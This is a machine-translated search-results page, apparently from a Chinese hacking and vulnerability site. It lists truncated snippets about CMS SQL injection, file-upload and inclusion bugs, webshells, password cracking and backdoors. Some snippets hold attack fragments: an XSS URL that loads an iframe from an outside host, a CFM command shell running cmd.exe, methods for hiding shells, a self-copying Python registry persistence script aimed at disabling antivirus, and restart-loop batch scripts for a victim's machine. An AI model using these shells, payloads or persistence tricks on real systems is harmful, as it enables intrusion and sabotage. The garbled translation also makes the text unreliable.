7620 matches found
The wind God news management static version of 1. 7 vulnerability-vulnerability warning-the black bar safety net
Publishing author: LinkEr Affected versions: V1. 7 static version Official website: Vulnerability type: design flaw Vulnerability Description: The Wind God news management static version of 1. 7 the presence of multiple vulnerabilities. 1.1 The background verify file wwwroot/admin/islogin. asp...
phpcms V9 BLind SQL injection vulnerability 0day-vulnerability warning-the black bar safety net
Release date: 2011-01. 2 3 Publishing author: eidelweiss Affected versions: phpcms v9 blind Official website: http://www.phpcms.cn Vulnerability type: SQL injection Vulnerability description: phpcms v9 blind parameter filter existsSQL injectionvulnerabilities. google dork:inurl:"index. php?...
PHPOK3 business website built Station program injection-vulnerability warning-the black bar safety net
Author: jsbug original: http://lcx.cc/?FoxNews=1077.html Friends always stepping on my body to embark on DOTA Super God of the road, see the forum someone said phpok, taking advantage of the weekend, send on the head a gold, hope you can also be super-God. “phpok3/app/www/models/upfile.php”: the...
openEngine 2.0 1 0 0 2 2 6 local file inclusion and cross-site scripting vulnerability-vulnerability warning-the black bar safety net
openEngine is a use PHP to develop Web Content Management System openEngine 2.0 1 0 0 2 2 6 There is a local include and cross-site scripting vulnerability that could lead to sensitive information disclosure. +info: openEngine 2.0 1 0 0 2 2 6 LFI and XSS Vulnerabilities Vendor :...
DBHcms 1.1.4 SQL injection vulnerability and fix-vulnerability warning-the black bar safety net
Vulnerability Description: The DBHcms is a for personal and small business website open source content management system, while developing in multiple languages good support for search engine optimization. Program vulnerability the main reason is not on the submitted parameters are strictly...
Joomla! JomSocial component arbitrary file upload vulnerability and fix-vulnerability warning-the black bar safety net
Affected version: JomSocial JomSocial 1.8.9 vulnerability description: Joomla! Is an open source content management system CMS to. Joomla! JomSocialy Assembly on the realization of the presence of design vulnerabilities, a remote attacker could exploit this vulnerability to upload arbitrary files...
PHPStat 2.0 remote code execution vulnerability-vulnerability warning-the black bar safety net
phpStat is a professional web site traffic statistics software system that provides website Log analysis, web data analysis, user behavior analysis system,to provide customers with in-depth excavation of the site of flow cross-Data Report. In visitor behavior analysis,web marketing analysis, and...
Tradecms English foreign trade enterprises web site v1. 0. Vulnerability analysis-vulnerability warning-the black bar safety net
Release time: 2010-07-15 Affected version: Tradecms English foreign trade enterprises web site v1. 0 Vulnerability description: injection vulnerabilities, cross-permissions vulnerability; Database address: ClkjDaTa/ClkjCms. mdb Database open password: The default account and password: user: admin...
HBCMS(Hongbo)1.8.3 list_resource. php blind injection vulnerability-vulnerability warning-the black bar safety net
Affected versions: HBCMSmacro-Bo=1.8.3 Vulnerability description: HBCMS is the domestic more well-known PHP content management system, not yet open source, the source code using the zend encryption. Meet the following three conditions, you can through the MySQL blind injection to get any sensitiv...
Tom the Master Station xss cross-site vulnerabilities-vulnerability warning-the black bar safety net
Test code: http://www.tom.com/logout.php?backurl='"iframe%20src=http://www. tjaote. com/blog/IMAGE/COMMON/qing. htm%20type="text/javascript"/iframe" ! Then url redirect poc:http://pass. tom. com/logout. php? goto=http://hi. baidu. com/5 4 2 7 5 1 8 File leaked a bit tasteless...
PHPCMS2008 1 0 0 5 2 7 version website management system to download an arbitrary file vulnerability-vulnerability warning-the black bar safety net
Phpcms is a PHP-based+Mysql architecture of the web content management system, it is an open-source PHP development platform. Phpcms uses a modular approach to the development, functional and easy to use to facilitate the expansion, for medium to large sites provide heavyweight website Building...
PHP168 V6. 0 2 cross-site vulnerability-vulnerability warning-the black bar safety net
PHP168 whole Station is the PHP field is currently the most powerful built Station system, all open source, can be extremely convenient for secondary development, All modules can be freely installed and removed, the individual user is completely free to use. Test code:...
openx advertising system 0DYA-vulnerability warning-the black bar safety net
openx advertising system 0dayoriginal author: YJPS reprint please indicate the Penetration of a foreign station when the discovery and successful use of Using the method first go to the official under a useless plugin and then modify the back to plug in a normal PHP file inserted into a word to...
ASP injection universal login password-vulnerability warning-the black bar safety net
Hackers Handbook sample issue inside, oldjun mentioned a new universal login password. For example, there are many online such login authentication code: program code % username=trimRequest. Form"username" password=trimRequest. Form"password" sql="Select FROM ad the hackers Handbook sample issue...
Ubuntu 9.10 environment buffer overflow attack experiment-vulnerability warning-the black bar safety net
Environment: Ubuntu 9.10 kernel 2.6.31 gcc version: 4.4.1 This is the csapp the in-depth understanding of the computer system on the question directly in the original program run time to achieve the buffer overflow attack has been impossible to achieve, unless you are using the version of the ver...
7 1 1 enterprise web site management program V6. 0 Then proof upload vulnerability and exploit-vulnerability warning-the black bar safety net
sfmb ----------------------- The other day a Cookie injection vulnerability, and today they turned to see to In the ADMIN directory there are 2 Upload File upfile. asp and upfile2. asp These 2 components of the function is: without logging in the backend, without having to cut packages, direct...
Phpwind7. 5 Background local include exploit-vulnerability warning-the black bar safety net
Affected version:Phpwind7. 5 File: hack\rate\admin.php Source: Then look at the hack\rate\template\layout.php to: EOT; requireonce $filepath; the includeonce PrintEot 'adminbottom' ; ? $job can be customized to trigger a local include, but addslashes, and therefore can not pass%0 0 truncated; but...
mssql hash password cracking method-vulnerability warning-the black bar safety net
mssql hash stored in the table master. dbo. sysxlogins, with select name,password from master. dbo. sysxlogins can extract the user hash. 0x01004E04BE46023057E323AF27269E5b7ddca140c98d225bdd3d06e8efe8cfaec02985b27b38059fa3b18349612b Decomposition: Constant part: 0×0 1 0 0 Salt part: 4E04BE46 Mixi...
Easy and sun Shopping Mall v1. 4Cookies injection vulnerability-vulnerability warning-the black bar safety net
Easy and sun Shopping Mall v1. 4Cookies injection vulnerability This injection vulnerability seems to occur in the Home Shopping system. Looks like the network fun. The problem occurs in getpwd4. asp page. See the code: % username=request"username" passwd=md5trimrequest. form"passwd",1 6 set...
ORACLE to build the data file WriteWebShell-vulnerability warning-the black bar safety net
In fact, similar to the ORACLE such a powerful database, really not necessary with this soil the way SQL stored procedure write file can also be forced to helpless the other machine does not support SQL and UTLFILE package is also to kill? That you can also use the following I said this way SQL...
Commonly used to hide the SHELL method-vulnerability warning-the black bar safety net
First: In our to tricks of the asp file added the following contents %if request”action”=”ok” then% the shell code is inserted here %end if% Visit time on your hand leg of the asp files back plus? action=ok,you can The second: In our to tricks of the asp file added the following contents % on err...
Broiler get an insider secret of the use of Trojans and social engineering-vulnerability warning-the black bar safety net
For a skilled attacker to say, the chickens get the tactics have varied. However, with all the others, the attacker may also like those that is simple and easy to obtain broiler method. For now, the use of Trojans and social engineering is an attacker who favorite used to obtain broilers in a maj...
PHP168 6.0 and below the version of vulnerability-vulnerability warning-the black bar safety net
Danger level: high //Looks like more and more public. Affected versions: PHP168 6.0 the following versions Intruders can be in the user landing page to construct a special statement, the PHP word written to the cache directory, so as to obtain the use of PHP168 whole Station program website the...
PHP web alerts, a variety of PHP application\0 filter vulnerability-vulnerability warning-the black bar safety net
Vulnerability description: When the PHP program with the specified PATH, in the PATH of the file Backdoor was added%0 0 can upload any file. Test procedure: NEATPIC PHP directory direct-reading version 1.2.3 http://web.cncode.com/SoftView.asp?SoftID=1820 This document participants: Vulnerability...
linux each version corresponding overflow vulnerability summary(overflow code)-vulnerability warning-the black bar safety net
2.4.17 newlocal kmod 2.4.18 brk brk2 newlocal kmod km. 2 2.4.19 brk brk2 newlocal kmod km. 2 2.4.20 ptrace kmod ptrace-kmod km. 2 brk brk2 2.4.21 km. 2 brk brk2 ptrace ptrace-kmod 2.4.22 km. 2 brk2 brk ptrace ptrace-kmod 2.4.22-1 0 loginx ./ loginx 2.4.23 mremappte 2.4.24 mremappte Uselib24...
Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit-vulnerability warning-the black bar safety net
The legendary rate is 6 0 per cent. Source: Xeye Microsoft DirectShow presence may be remotely exploitable stack overflow vulnerability. The key code is as follows: -------------------------The following contents are in danger, only for research use-------------- var appllaa='0'; var...
PHP application of Common Vulnerability analysis-vulnerability warning-the black bar safety net
Transfer from: WhyTT Not impregnable, as PHP is widely used, some hackers also at no time not looking for a PHP trouble, by the PHP application vulnerability to attack is one of them. In the section, we will from a global variable, remote file, file upload, library files, Session files, data type...
DedeCMSV53 arbitrary variable overwrite vulnerability-vulnerability warning-the black bar safety net
DedeCMSV53 arbitrary variable overwrite vulnerability See today mrxhming students a articles http://hi.baidu.com/mrxhming/blog/item/8176f00bf540f11795ca6b3f.html find this old BUG hasn't been patched to look like, from the inside of the forum go a pp out of it, everyone is welcome to shoot the...
Crack Windows encryption protection: EFS decryption through-vulnerability warning-the black bar safety net
EFSEncrypting File System, Encrypting File Systemencryption is based on the NTFS disk art encryption technology. EFS encryption is based on Public Key Policies. Using EFS to encrypt a file or folder, the system will first generate a pseudo-random number consisting of a FEKFile Encryption Key file...
About the server closed the wscript. shell-vulnerability warning-the black bar safety net
There may be a lot of people, seeing close up the wscript. shell,you feel no mention of the right to hope. It will give up. Generally when the closed surface components, you upload the cmd. exe to above to is running no command. The runtime will tell the fault. If you want to run the command you...
php vulnerability session register_globals login security-vulnerability warning-the black bar safety net
The first to see this a simple piece of code When php. ini in the configuration registerglobals = Off, Without any problems, Output yes But When php. ini in the configuration registerglobals = On time, First run output yes And refresh, the display is no Obviously this is not normal, This is a ver...
A minute crack linux fedora5 password to modify version-bug warning-the black bar safety net
Figure 1 Figure 2 See Figure 3. The interface should be somewhat strange! Now we enter a single command / 1 Remember: enter the“slash”after press the“space”in the input 1, then press the“ENTER key” The input command is a carriage return, it will return as “Figure 2”of the interface! Then press th...
With GetHashes software get Windows System Hash password value-the value of vulnerability and early warning-the black bar safety net
For an intruder, get the Windows password is the entire attack process is crucial to a ring, have the system the original user password, will enable the network to penetrate and keep control more easily. Windows System Hash password values with LM-HASH and a NTLM-HASH value of the two parts, once...
Linux each version of the local root password cracking method-vulnerability warning-the black bar safety net
This time the old met was asked and the various linux versions of the local root password cracking method, I here own and on the network to collect some information, we want to see this article and just used to give the art a little help: A RedHat/CentOS/Fedora system password cracking 1. In the...
dedecms fill out a tasteless vulnerability-vulnerability warning-the black bar safety net
Author: Ice the origin of theL. S. T&0. S. T Just look at the small handsome gay blog found above also describes a About dedecms a 0day（http://www. xssor. cn/sa/? action=show&id=5 A 8, but this bug and a few months ago that write directly to the file in the vulnerability If is not a file, I...
cfm cmdshell use of attention-exploit warning-the black bar safety net
cfm-cmdshell 1. html 2. head 3. meta http-equiv="Content-Type" content="text/html; charset=gb2312" 4. titleCFM shell/title 5. /head 6. body 7. !--- os. run --- 8. cfif IsDefined"FORM. cmd" 9. cfoutputcmd/cfoutput 1 0. cfexecute name="C:\Winnt\System32\cmd.exe" 1 1. arguments="/c cmd" 1 2...
discuz obtain any administrator password vulnerability-vulnerability warning-the black bar safety net
The author of the article: The Frozen prodigal son Information source: evil octal information security team www.eviloctal.com） Vulnerability description: Discuz Forum system is a set of used php+mysql database running,which found a security vulnerability, successful exploitation of this...
On Tumblr hung it to the principle-vulnerability warning-the black bar safety net
Today I come to tell you to talk about it on the QQ space hung it works, I tried it, the success rate account for 8 0 percent. There are a lot of people have asked me what can be done in broiler flocks, I think for a long time, but the QQ space to hang horse can achieve this. So I try to do it,...
Small conference Baidu post bar title XSS vulnerabilities [Fixed]-bug warning-the black bar safety net
Source: 80sex The first reference to http://www. 80sec. com/charset-xss. html.：） This vulnerability in different browsers on the performance of the out the effects of each different, in GBKXX coding the next FF will recognize this illegal character put it when half the width of the byte and a...
MyPhpAdmin execute the attacker's code vulnerability-vulnerability warning-the black bar safety net
Relates to the program: myPhpAdmin Description: myPhpAdmin execute the attacker's arbitrary code exploit analysis Details: myPhpAdmin is a can through the network to the MySQL database to the control software. But found that it the vulnerability exists in the script 'tblcopy.php' and...
Various invasion of the batch-a vulnerability warning-the black bar safety net
First:let others memory OVERforce him to restart @echo off start cmd %0 On this 3 lines. Second:let the other party to restart the specified number of timesvictim-specific @echo off if not exist c:\1.txt echo. c:\1.txt & goto err1 if not exist c:\2.txt echo. c:\2.txt & goto err1 if not exist...
Use python to modify the registry to get rid of 360safe-vulnerability warning-the black bar safety net
Article author: Wu Jie Information source: evil octal information security team www.eviloctal.com） import winreg import os import shutil Copy itself shutil. copyfile'K3.exe','c:\WINDOWS\system32\K3.exe' 3 6 0 start to its own run = winreg. OpenKey winreg. HKEYLOCALMACHINE,...
The use of cain to restore the encrypted ftp password-vulnerability warning-the black bar safety net
Author: Lu Yu, source:it168, responsible editor: Han Bo Ying, 2008-04-24 0 9:1 6 Stumbled upon Cain in the penetration process, there is a good use of skills, let's take a look at flashfxp encryption ciphertext, flashfxp connection records stored in the Stats. dat this file. Perhaps you will...
webshell find all of the IIS site configuration.- Vulnerability warning-the black bar safety net
Sources:bad wolf safety net website:http://www. winshell. cn 默认 IIS 站点 配置 文件 有 2 个 MBSchema.xm 和 MetaBase.xml, The path is C:\WINDOWS\system32\inetsrv\generally this directory is set to everyone read permissions. MetaBase. xml this file is stored in the site IIS configuration information. Inside...
phpcms injection March New Year 0day-vulnerability warning-the black bar safety net
Affected versions: 2007SP5 SP6 Vulnerability file:/formguide/include/tag.func.php Author: backerhack small cockroaches Sources of information: the zero Client Network Security www.0kee.com I wish the National female compatriots happy holidays, concerned about the health of women... “she is good, ...
The black ice of the campus to pick up broilers Edition-vulnerability warning-the black bar safety net
The famous black ice firewall, I believe you warrior Diamondback they have heard of it! It is by virtue of its superior anti-black abilities and become dear Internet users friends travel home, surf the Internet essential good product. （As if in to it for advertising。。。。 Oh that we today refer to...
From the Kabbah vulnerability glimpse of kernel-mode Shellcode writing-vulnerability warning-the black bar safety net
Source: gyzy's Blog This article has been published in the hacker line of Defense of the 2 0 0 7 year 1 1 monthly. The author and the hacker line of Defense on the retention of copyright, reproduced, please indicate the original source For the reader: overflow of lovers Pre-knowledge: Assembly...
Verify whether the patch installed three large exploit tools-vulnerability warning-the black bar safety net
We are talking about here is some for creating security tools and exploits program Security Platform. Security experts to perform penetration tests, system administrators can verify whether the patch has been installed, manufacturers can perform regression testing. First, the Metasploit Framework...
Quickly remove illegal file name code-vulnerability warning-the black bar safety net
allyesno: we will encounter many so-called illegal file name For example .. con, nul, etc. FlowerCode gives the following method can quickly delete these file names http://hi.baidu.com/flowercode/blog/item/3f68be02a7cfd10d4bfb519f.html References Two lines of code get deleted quickly using illega...
Real IIS always the back door decryption-bug warning-the black bar safety net
IIS is more popular in the www server, set the undue vulnerability on the lot. The invasion of the iis server after leaving the back door, since you can always control. Generally the backdoor is open a special Port to monitor, such as a nc,ntlm,rnc, etc. are based on a class telnet mode on the...